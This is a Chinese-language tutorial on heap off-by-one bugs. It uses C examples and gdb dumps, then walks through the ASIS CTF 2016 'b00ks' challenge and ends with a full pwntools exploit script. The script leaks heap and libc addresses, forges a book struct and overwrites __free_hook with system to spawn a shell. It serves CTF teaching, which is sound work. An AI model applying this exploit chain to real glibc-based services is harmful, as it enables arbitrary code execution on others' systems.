off by one

off by one漏洞原理

1
2
3
4
5
6
7
严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。

off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的size 正好就只多了一个字节的情况。其中边界验证不严通常包括

使用循环语句向堆块中写入数据时,循环的次数设置错误(这在C 语言初学者中很常见)导致多写入了一个字节。
字符串操作不合适
一般来说,单字节溢出被认为是难以利用的,但是因为Linux 的堆管理机制ptmalloc 验证的松散性,基于Linux 堆的off-by-one 漏洞利用起来并不复杂,并且威力强大。此外,需要说明的一点是off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based) 的off-by-one 是CTF 中比较常见的。我们这里仅讨论堆上的off-by-one 情况。

off by one利用思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
1.溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠从而泄露其他块数据,或是覆盖其他块数据。也可使用NULL字节溢出的方法
2.溢出字节为NULL字节:在size为0x100的时候,溢出NULL字节可以使得prev_in_use位被清,这样前块会被认为是free块。(1)这时可以选择使用unlink方法(见unlink部分)进行处理。(2)另外,这时prev_size域就会启用,就可以伪造prev_size,从而造成块之间发生重叠。此方法的关键在于unlink的时候没有检查按照prev_size找到的块的后一块(理论上是当前正在unlink的块)与当前正在unlink的块大小是否相等。

C语言代码示例:
int my_gets(char *ptr,int size)
{
int i;
for(i=0;i<=size;i++)
{
ptr[i]=getchar();
}
return i;
}
int main()
{
void *chunk1,*chunk2;
chunk1=malloc(16);
chunk2=malloc(16);
puts("Get intput");
my_gets(chunk1,16);
return 0;
}
我们自己编写的my_gets 函数导致了一个off-by-one 漏洞,原因是for 循环的边界没有控制好导致写入多执行了一次,这也被称为栅栏错误
wikipedia: 栅栏错误(有时也称为电线杆错误或者灯柱错误)是差一错误的一种。如以下问题:
建造一条直栅栏(即不围圈),长30 米、每条栅栏柱间相隔3 米,需要多少条栅栏柱?
最容易想到的答案10 是错的。这个栅栏有10 个间隔,11 条栅栏柱。

没输入前:
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk2
0x602030: 0x0000000000000000 0x0000000000000000
输入后:
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x0000000000000041 0x0000000000000021 <=== chunk2
0x602030: 0x0000000000000000 0x0000000000000000

示例2
字符串的溢出操作
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1=malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
程序乍看上去没有任何问题(不考虑栈溢出),可能很多人在实际的代码中也是这样写的。但是strlen和strcpy的行为不一致却导致了off-by-one的发生。strlen是我们很熟悉的计算ascii字符串长度的函数,这个函数在计算字符串长度时是不把结束符'\x00'计算在内的,但是strcpy在复制字符串时会拷贝结束符'\x00'。这就导致了我们向chunk1中写入了25个字节,我们使用gdb进行调试可以看到这一点。

输入前:
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000411 <=== next chunk
输入后:
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x0000000000000400

可以看到next chunk的size域低字节被结束符'\x00'覆盖,这种又属于off-by-one的一个分支称为NULL byte off-by-one,我们在后面会看到off-by-one与NULL byte off-by-one在利用上的区别。还是有一点就是为什么是低字节被覆盖呢,因为我们通常使用的CPU的字节序都是小端法的,比如一个DWORD值在使用小端法的内存中是这样储存的
DWORD 0x41424344
内存0x44,0x43,0x42,0x4

实例1 asis ctf 2016 b00ks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
题目介绍
选单式程序
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit

程序提供了创建、删除、编辑、打印图书的功能。题目是64 位程序,保护如下所示。


Canary : No
NX : Yes
PIE : Yes
Fortify : No
RelRO : Full
程序每创建一个book 会分配0x20 字节的结构来维护它的信息


struct book
{
int id;
char *name;
char *description;
int size;
}
create ¶
book 结构中存在name 和description , name 和description 在堆上分配。首先分配name buffer ,使用malloc ,大小自定但小于32


printf("\nEnter book name size: ", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);
printf("Enter book name (Max 32 chars): ", &size);
ptr = malloc(size);
之后分配description ,同样大小自定但无限制。


printf("\nEnter book description size: ", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);

v5 = malloc(size);
之后分配book 结构的内存


book = malloc(0x20uLL);
if ( book )
{
*((_DWORD *)book + 6) = size;
*((_QWORD *)off_202010 + v2) = book;
*((_QWORD *)book + 2) = description;
*((_QWORD *)book + 1) = name;
*(_DWORD *)book = ++unk_202024;
return 0LL;
}

漏洞

signed __int64 __fastcall my_read(_BYTE *ptr, int number)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( number <= 0 )
return 0LL;
buf = ptr;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == '\n' )
break;
++buf;
if ( i == number )
break;
}
*buf = 0; //在最后加了个/x00字符 导致了NULL byte off by one 漏洞
return 0LL;
}

解题步骤:
攻击过程:
1.填充满author
2.创建堆块1,覆盖author结尾的\x00,这样我们输出的时候就可以泄露堆块1的地址
3.创建堆块2,为后续做准备,堆块2要申请得比较大,因为mmap申请出来的堆块地址与libc有固定的偏移
4.露堆块1地址,记为first_heap
5.(关键点来了) 这时候的攻击思路是利用编辑author的时候多写了一个\x00字节,可以覆盖到堆块1的地址的最后一位,如果我们提前将堆块1的内容编辑好,按照上述的结构体布置好,name和description我们自己控制,伪造成一个书本的结构体,然后让覆盖过后的地址刚好是book1的description部分的话,我们相当于获得了一个任意地址读写的能力啊
6.后面就简单了,任意读取获得libc地址
7.任意写将__free_hook函数的地址改写成one_gadget地址
tips:__free_hook若没有则不调用,若有将先于free函数调用

测试数据:
Enter author name: AAAAAAAABC

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 1

Enter book name size: 12
Enter book name (Max 32 chars): liu123

Enter book description size: 20
Enter book description: i am liu111111

ctrl+c断下来
gdb-peda$ find AAAABC
Searching for 'AAAABC' in: None ranges
Found 1 results, display max 1 items:
b00ks : 0x555555756044 --> 0x434241414141 ('AAAABC')
gdb-peda$ x /10xg 0x555555756040
0x555555756040: 0x4141414141414141 0x0000000000004342
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x00005555557576b0 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000

为了实现泄漏,首先在author name 中需要输入32 个字节来使得结束符被覆盖掉。之后我们创建book1 ,这个book1 的指针会覆盖author name 中最后的NULL 字节,使得该指针与author name 直接连接,这样输出author name 则可以获取到一个堆指针

io.recvuntil('author name:')
io.sendline('a'*32)

io.recvuntil('>')
io.sendline('1')
io.recvuntil('book name size:')
io.sendline('32')
io.recvuntil('book name(max 32 chars):')
io.sendline('object1')
io.recvuntil('Enter book description:')
io.sendline('object1')

io.recvuntil('>') # print book1
io.sendline('4')
io.recvuntil('Author:')
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') #<==leak book1
book1_addr = io.recv(6)
book1_addr = book1_addr.lijust(8,'\x00')
book1_addr = u64(book1_addr)

off-by-one覆盖指针低字节¶
程序中同样提供了一种change 功能, change 功能用于修改author name ,所以通过change 可以写入author name ,利用off-by-one 覆盖pointer array 第一个项的低字节。

覆盖掉book1 指针的低字节后,这个指针会指向book1 的description ,由于程序提供了edit 功能可以任意修改description 中的内容。我们可以提前在description 中布置数据伪造成一个book 结构,这个book 结构的description 和name 指针可以由直接控制。

def off_by_one(addr):
addr += 58
io.recvuntil('>') # create fake book in description
io.sendline('3')
fake_book_data = p64(0x1) + p64(addr) + p64(addr) + pack(0xffff)
io.recvuntil('Enter new book description:')
io.sendline(fake_book_data) # <==fake book

io.recvuntil('>') #change author name
io.sendline('5')
io.recvuntil('Enter author name:')
io.sendline('a'*32)#<== off by one

这里在description 中伪造了book ,使用的数据是p64(0x1)+p64(addr)+p64(addr)+pack(0xffff) 。其中addr+58 是为了使指针指向book2 的指针地址,使得我们可以任意修改这些指针值。

exp:
from pwn import *
#context.log_level="debug"
p=process("./b00ks")

def Create(name_size,name,discription_size,discription):
p.sendline('1')
p.recvuntil("size: ")
p.sendline(name_size)
p.recvuntil("Enter book name (Max 32 chars): ")
p.sendline(name)
p.recvuntil("Enter book description size: ")
p.sendline(discription_size)
p.recvuntil("Enter book description: ")
p.sendline(discription)

def Delete(ID):
p.sendline("2")
p.recvuntil("Enter the book id you want to delete: ")
p.sendline(ID)

def Edit(ID,discription):
p.sendline("3")
p.recvuntil("Enter the book id you want to edit: ")
p.sendline(ID)
p.recvuntil("Enter new book description: ")
p.sendline(discription)

def Print():
p.sendline("4")

def Change(author_name):
p.sendline("5")
p.recvuntil("Enter author name: ")
p.sendline(author_name)


#################################leak book1_addr###############################
p.recvuntil("Enter author name: ")
p.sendline("A"*31+"B")
p.recvuntil("> ")
Create("130","jion","32","i am join") #######set fake b00k_addr
p.recvuntil("> ")
Print()
print p.recvuntil("AB")
first_b00k_addr=u64(p.recv(6)+'\00'+'\00')
#gdb.attach(p)
print hex(first_b00k_addr)
####################################leak book1_addr end#######################

###################################set fake b00k in first b00k of discription###############
p.recvuntil("> ")
payload=p64(0x01)+p64(first_b00k_addr+0x38)*2+p64(0xffff)
Edit('1',payload)
##############################make big memrry ####################################
p.recvuntil("> ")
Create('200000','bill','200000',"this is bill")
p.recvuntil("> ")
############################set first b00k to fake b00k############################

Change("A"*30+'B'+'C')
p.recvuntil("> ")
gdb.attach(p)

#############################get second b00k addr(get libc)#######################
Print()
p.recvuntil("Name: ")
second_name_addr=u64(p.recv(6)+'\x00'+'\x00')
print "second_name_addr="+hex(second_name_addr)
#gdb.attach(p)
libc_base_addr=second_name_addr-0x5c2010
print "libc_base_addr="+hex(libc_base_addr)
p.recvuntil("> ")
################################get libc addr end########################################
libc=ELF('libc.so.6')
system_addr = libc.symbols['system'] + libc_base_addr
print "system_addr="+hex(system_addr)
free_hook=libc.symbols["__free_hook"]+libc_base_addr
binsh_addr = libc.search('/bin/sh').next() + libc_base_addr
#gdb.attach(p)
####################################get shell#########################################
payload = p64(binsh_addr) + p64(free_hook) #second_b00k_name=bin_sh second_b00k_discription=free_hook
Edit('1',payload)
payload=p64(system_addr) #free_hook-->system_addr
Edit('2',payload)
Delete('2')
p.interactive()
0%